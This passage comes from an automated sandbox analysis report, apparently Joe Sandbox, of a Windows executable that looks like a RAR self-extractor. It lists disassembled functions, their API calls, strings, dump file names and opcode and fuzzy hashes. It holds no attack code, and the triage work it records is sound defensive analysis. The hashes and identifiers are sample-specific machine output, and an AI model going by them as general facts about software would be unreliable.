                                                              • GetStringTypeW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00D9DBD1,?), ref: 00DA3720
                                                              • __freea.LIBCMT ref: 00DA3729
                                                                • Part of subcall function 00DA040E: RtlAllocateHeap.NTDLL(00000000,00D9535E,?,?,00D96C16,?,?,?,?,?,00D95269,00D9535E,?,?,?,?), ref: 00DA0440
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide$AllocateHeapStringType__freea
                                                              • String ID:
                                                              • API String ID: 2652629310-0
                                                              • Opcode ID: a754c0b8c6722d64896bb74390737baa8999f95b761947df4b481faea4a19104
                                                              • Instruction ID: 86e205a9c2b927a767a6d8f4ad4ac41ba2a1c339c37542615a3f6c0730a5bb2d
                                                              • Opcode Fuzzy Hash: a754c0b8c6722d64896bb74390737baa8999f95b761947df4b481faea4a19104
                                                              • Instruction Fuzzy Hash: 6431C1B2A1020AABDF259F64DC85EAE7BE6EF45350F190129FC04D6250EB35CE50CBB0
                                                              Function 00D862CD Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D862D4
                                                              • ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,?,?,?,?,?,00000010), ref: 00D862EB
                                                              • ExpandEnvironmentStringsW.KERNEL32(?,?,?,00000000,?,?,?,?,?,00000010), ref: 00D86328
                                                              • _wcslen.LIBCMT ref: 00D86338
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: EnvironmentExpandStrings$H_prolog3_wcslen
                                                              • String ID:
                                                              • API String ID: 3741103063-0
                                                              • Opcode ID: 5ac1c415558d7226c2d5bc9dd8db2f323fe504e6c36d5ca58bb73e052ea1ab49
                                                              • Instruction ID: 85a6ee997a7fcb01ac71b44d57c97cd7fc2c7dceed5e2bb3326e09651aafd7fd
                                                              • Opcode Fuzzy Hash: 5ac1c415558d7226c2d5bc9dd8db2f323fe504e6c36d5ca58bb73e052ea1ab49
                                                              • Instruction Fuzzy Hash: 8511A071A1120AAF9F00AFA899859BFB779FF45324718421DF411E7240DB34EE00CBB4
                                                              Function 00D8126C Relevance: 6.1, APIs: 4, Instructions: 60COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D81273
                                                                • Part of subcall function 00D8067E: GetVersionExW.KERNEL32(?), ref: 00D806AF
                                                              • FoldStringW.KERNEL32(00000020,?,000000FF,00000000,00000000,0000000C,00D7350C,562D433A,00000000,?,?,00D743F5,?,?,?,00000000), ref: 00D8129A
                                                              • FoldStringW.KERNEL32(00000020,?,000000FF,?,?,00000000), ref: 00D812D4
                                                              • _wcslen.LIBCMT ref: 00D812DF
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: FoldString$H_prolog3Version_wcslen
                                                              • String ID:
                                                              • API String ID: 535866816-0
                                                              • Opcode ID: 5b44fcc23bb8b638a7e00665a9aab1aeb9e344dd86c552ebfc8b46e94819b2d9
                                                              • Instruction ID: 7a222be369d61c14b962cf044798e711a8dc380f2ef56bfdd96ea9d932867cea
                                                              • Opcode Fuzzy Hash: 5b44fcc23bb8b638a7e00665a9aab1aeb9e344dd86c552ebfc8b46e94819b2d9
                                                              • Instruction Fuzzy Hash: 7D11A375A11226ABDB11ABAD8D4AA7F7BBDEF05720F100309F810E72C1DB609941C7F5
                                                              Function 00DA19E4 Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE
                                                              Download Yara Rule
                                                              APIs
                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,00DA198B,00000000,00000000,00000000,00000000,?,00DA1B88,00000006,FlsSetValue), ref: 00DA1A16
                                                              • GetLastError.KERNEL32(?,00DA198B,00000000,00000000,00000000,00000000,?,00DA1B88,00000006,FlsSetValue,00DB0DD0,FlsSetValue,00000000,00000364,?,00DA00D7), ref: 00DA1A22
                                                              • LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00DA198B,00000000,00000000,00000000,00000000,?,00DA1B88,00000006,FlsSetValue,00DB0DD0,FlsSetValue,00000000), ref: 00DA1A30
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: LibraryLoad$ErrorLast
                                                              • String ID:
                                                              • API String ID: 3177248105-0
                                                              • Opcode ID: ddb8572f838b2a4f750b05671725d297bee1531c60117b22050c576325b28a80
                                                              • Instruction ID: d52d523ea28ac2cbd30107dd0db5a67a18cbd58340832307e31414cb338db9b2
                                                              • Opcode Fuzzy Hash: ddb8572f838b2a4f750b05671725d297bee1531c60117b22050c576325b28a80
                                                              • Instruction Fuzzy Hash: EB01F73A6563339BC7218AA89C44A577B98AF077B1F194620F90AD3340CB20D802C6F4
                                                              Function 00D81309 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D81310
                                                              • GetCurrentDirectoryW.KERNEL32(00000000,00000000,0000000C,00D817FB,?,?,\\?\,562D4312,?,?,?,00000000,00DAA279,000000FF), ref: 00D81319
                                                              • GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,?,00000000,00DAA279,000000FF), ref: 00D81348
                                                              • _wcslen.LIBCMT ref: 00D81351
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CurrentDirectory$H_prolog3_wcslen
                                                              • String ID:
                                                              • API String ID: 19219720-0
                                                              • Opcode ID: 849b98b39a5da0312a9467a1975ea8c2c0c1ba6f3d279dcb422a7b271d1588da
                                                              • Instruction ID: 7e8f6374b126a5d4a70c02c6154384f7724080978583866a9971efe4a60f8315
                                                              • Opcode Fuzzy Hash: 849b98b39a5da0312a9467a1975ea8c2c0c1ba6f3d279dcb422a7b271d1588da
                                                              • Instruction Fuzzy Hash: 4401A276910216BB8B10AFF899058BFBB7DEF86720B144709F515EB241DF34890187F4
                                                              Function 00D9631E Relevance: 6.0, APIs: 4, Instructions: 25COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • SleepConditionVariableCS.KERNELBASE(?,00D962BB,00000064), ref: 00D96341
                                                              • LeaveCriticalSection.KERNEL32(00DC60E0,?,?,00D962BB,00000064,?,?,?,?,00000000,00DAA75D,000000FF), ref: 00D9634B
                                                              • WaitForSingleObjectEx.KERNEL32(00000064,00000000,?,00D962BB,00000064,?,?,?,?,00000000,00DAA75D,000000FF), ref: 00D9635C
                                                              • EnterCriticalSection.KERNEL32(00DC60E0,?,00D962BB,00000064,?,?,?,?,00000000,00DAA75D,000000FF), ref: 00D96363
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
                                                              • String ID:
                                                              • API String ID: 3269011525-0
                                                              • Opcode ID: 2b94d571c3ae17716491a18a9565114178249d36805edfccccdc210341f6b536
                                                              • Instruction ID: 76682a48ef10311506d599090621241185c04dee9cc625fec9adf8c2fbe5e413
                                                              • Opcode Fuzzy Hash: 2b94d571c3ae17716491a18a9565114178249d36805edfccccdc210341f6b536
                                                              • Instruction Fuzzy Hash: 98E0ED32651336EBCB111B90AC09F9D7B28BB05BA1B094015F506F6260C661D910ABF9
                                                              Function 00D8EB74 Relevance: 6.0, APIs: 4, Instructions: 19COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetDC.USER32(00000000), ref: 00D8EB77
                                                              • GetDeviceCaps.GDI32(00000000,00000058), ref: 00D8EB86
                                                              • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00D8EB94
                                                              • ReleaseDC.USER32(00000000,00000000), ref: 00D8EBA2
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: CapsDevice$Release
                                                              • String ID:
                                                              • API String ID: 1035833867-0
                                                              • Opcode ID: d3e045f8350ba6f7cd9309d8b29f62eaca9a540ccb8ee9c6dab745fafbe61034
                                                              • Instruction ID: a7ab3c04c26c638d6e2bc0622753ae3d9817eb0d0c7bc8dee8870aea50828775
                                                              • Opcode Fuzzy Hash: d3e045f8350ba6f7cd9309d8b29f62eaca9a540ccb8ee9c6dab745fafbe61034
                                                              • Instruction Fuzzy Hash: 13E0EC3194AF23ABD7221B71BD0DF863A64AB19B53F040141FA01EA394CAA044408FB0
                                                              Function 00D87C68 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 293COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __Init_thread_footer.LIBCMT ref: 00D88294
                                                                • Part of subcall function 00D714A7: _wcslen.LIBCMT ref: 00D714B8
                                                                • Part of subcall function 00D9087E: __EH_prolog3_GS.LIBCMT ref: 00D90885
                                                                • Part of subcall function 00D9087E: GetLastError.KERNEL32(0000001C,00D88244,?,00000000,00000086,?,562D4312,?,?,?,?,?,00000000,00DAA75D,000000FF), ref: 00D9089D
                                                                • Part of subcall function 00D9087E: SetLastError.KERNEL32(00000000,?,?,?,?,?,?,?,00000000,00DAA75D,000000FF), ref: 00D908D6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ErrorLast$H_prolog3_Init_thread_footer_wcslen
                                                              • String ID: %ls
                                                              • API String ID: 1279724102-3246610740
                                                              • Opcode ID: 69259656eee1c551be5964ac7d960d9cf66f5dff9a374bb365a1dc2a9fa19328
                                                              • Instruction ID: 6e7cde90794921526f4cdc55bf9bdddb35d90af772149cfe091e47c739550649
                                                              • Opcode Fuzzy Hash: 69259656eee1c551be5964ac7d960d9cf66f5dff9a374bb365a1dc2a9fa19328
                                                              • Instruction Fuzzy Hash: 9BB1AF34904209EEDB20FF94C946FAE7BB1FF15314F208519F486661E1EB719A58EBB0
                                                              Function 00D8EF21 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 240COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D8EBAA: GetDC.USER32(00000000), ref: 00D8EBAE
                                                                • Part of subcall function 00D8EBAA: GetDeviceCaps.GDI32(00000000,0000000C), ref: 00D8EBB9
                                                                • Part of subcall function 00D8EBAA: ReleaseDC.USER32(00000000,00000000), ref: 00D8EBC4
                                                              • GetObjectW.GDI32(?,00000018,?), ref: 00D8EF65
                                                                • Part of subcall function 00D8F1EC: GetDC.USER32(00000000), ref: 00D8F1F5
                                                                • Part of subcall function 00D8F1EC: GetObjectW.GDI32(?,00000018,?), ref: 00D8F224
                                                                • Part of subcall function 00D8F1EC: ReleaseDC.USER32(00000000,?), ref: 00D8F2BC
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ObjectRelease$CapsDevice
                                                              • String ID: (
                                                              • API String ID: 1061551593-3887548279
                                                              • Opcode ID: 7e421472358a8c6fc35af0020a692b7a0c0d0bcc5b0fb80257ce218829308ad0
                                                              • Instruction ID: 056767f2dc0cd216517a8bc15a9bf2c933ef4a2485437a9982e3c83a0986d351
                                                              • Opcode Fuzzy Hash: 7e421472358a8c6fc35af0020a692b7a0c0d0bcc5b0fb80257ce218829308ad0
                                                              • Instruction Fuzzy Hash: B591E3716183159FC760DF65C848A6BBBE9FF89B10F00495EF98AD7260CB70A905CF62
                                                              Function 00DA1E68 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • _free.LIBCMT ref: 00DA1FD4
                                                                • Part of subcall function 00D9ACBB: IsProcessorFeaturePresent.KERNEL32(00000017,00D9AC8D,00D9535E,?,?,00000000,00D9535E,00000016,?,?,00D9AC9A,00000000,00000000,00000000,00000000,00000000), ref: 00D9ACBD
                                                                • Part of subcall function 00D9ACBB: GetCurrentProcess.KERNEL32(C0000417,?,00D9535E), ref: 00D9ACDF
                                                                • Part of subcall function 00D9ACBB: TerminateProcess.KERNEL32(00000000,?,00D9535E), ref: 00D9ACE6
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Process$CurrentFeaturePresentProcessorTerminate_free
                                                              • String ID: *?$.
                                                              • API String ID: 2667617558-3972193922
                                                              • Opcode ID: ddd9ab5e61b6f17a30a233bd59a6b62b4ed979bfdbd97246aefffea125efcfc1
                                                              • Instruction ID: 5a7797292c38d58b04d88eff0424723c57959f4b652e8f70866531f66be70672
                                                              • Opcode Fuzzy Hash: ddd9ab5e61b6f17a30a233bd59a6b62b4ed979bfdbd97246aefffea125efcfc1
                                                              • Instruction Fuzzy Hash: D851937AE00219AFDF14DFA8C881AADB7B5FF59314F284169E854E7341E7359E01CB60
                                                              Function 00D7F103 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D879F7: GetSystemTime.KERNEL32(?,00000000), ref: 00D87A0F
                                                                • Part of subcall function 00D879F7: SystemTimeToFileTime.KERNEL32(?,?), ref: 00D87A1D
                                                                • Part of subcall function 00D879A0: __aulldiv.LIBCMT ref: 00D879A9
                                                              • __aulldiv.LIBCMT ref: 00D7F162
                                                              • GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,562D4312,?,?,00000000,?,00000000,00DA9F3D,000000FF), ref: 00D7F169
                                                                • Part of subcall function 00D71150: _wcslen.LIBCMT ref: 00D7115B
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: Time$System__aulldiv$CurrentFileProcess_wcslen
                                                              • String ID: .rartemp
                                                              • API String ID: 3789791499-2558811017
                                                              • Opcode ID: 71192dc9369b918cda82a380b5e4be3fdb486a3c4f6eafd3afd48742330d1e71
                                                              • Instruction ID: 4cc6b10121a015e8c2d59f3fed0876f89573a582a82a813a560d0bb3df2db66c
                                                              • Opcode Fuzzy Hash: 71192dc9369b918cda82a380b5e4be3fdb486a3c4f6eafd3afd48742330d1e71
                                                              • Instruction Fuzzy Hash: C1418271910249AFDB14EF68CC46EEEB7B8EF54310F408169F91993282EB349B09CB70
                                                              Function 00D8DACE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 118COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __EH_prolog3.LIBCMT ref: 00D8DAD5
                                                                • Part of subcall function 00D80360: __EH_prolog3.LIBCMT ref: 00D80367
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: H_prolog3
                                                              • String ID: Shell.Explorer$about:blank
                                                              • API String ID: 431132790-874089819
                                                              • Opcode ID: 7188d811f074512d84e83fb9d5a89d8d712efea1c895f5ebe56236cc01ad3388
                                                              • Instruction ID: 8dd4baa3a45f7b3742abc5d75002e5be92ded2f24c684be793015cc7405b2ebd
                                                              • Opcode Fuzzy Hash: 7188d811f074512d84e83fb9d5a89d8d712efea1c895f5ebe56236cc01ad3388
                                                              • Instruction Fuzzy Hash: 57413B706002059FDF58EFA8C855B6A77B6EF89700F1980ADE9469B2E1DB71AD00CB70
                                                              Function 00D90110 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D71E44: GetDlgItem.USER32(00000000,00003021), ref: 00D71E88
                                                                • Part of subcall function 00D71E44: SetWindowTextW.USER32(00000000,00DAC6C8), ref: 00D71E9E
                                                              • EndDialog.USER32(?,00000001), ref: 00D9017B
                                                              • SetDlgItemTextW.USER32(?,00000067,?), ref: 00D901B9
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: ItemText$DialogWindow
                                                              • String ID: GETPASSWORD1
                                                              • API String ID: 445417207-3292211884
                                                              • Opcode ID: f4b95d719117ddeed040409d40401e9fd6244ef5536cc408fd2ff4de724ab159
                                                              • Instruction ID: c306e7868651a7990d6e159faf70404177efac0d25bb5acb09661e28fc92ce2c
                                                              • Opcode Fuzzy Hash: f4b95d719117ddeed040409d40401e9fd6244ef5536cc408fd2ff4de724ab159
                                                              • Instruction Fuzzy Hash: 4F11E2B2644355AFDB209B24AC49FFB7BACEB85700F040429F745F3180C770A8418776
                                                              Function 00D85109 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 00D85094: GetProcAddress.KERNEL32(00000000,CryptProtectMemory), ref: 00D850B3
                                                                • Part of subcall function 00D85094: GetProcAddress.KERNEL32(00DC51F8,CryptUnprotectMemory), ref: 00D850C3
                                                              • GetCurrentProcessId.KERNEL32(?,00000200,?,00D85104), ref: 00D85197
                                                              Strings
                                                              • CryptProtectMemory failed, xrefs: 00D8514E
                                                              • CryptUnprotectMemory failed, xrefs: 00D8518F
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AddressProc$CurrentProcess
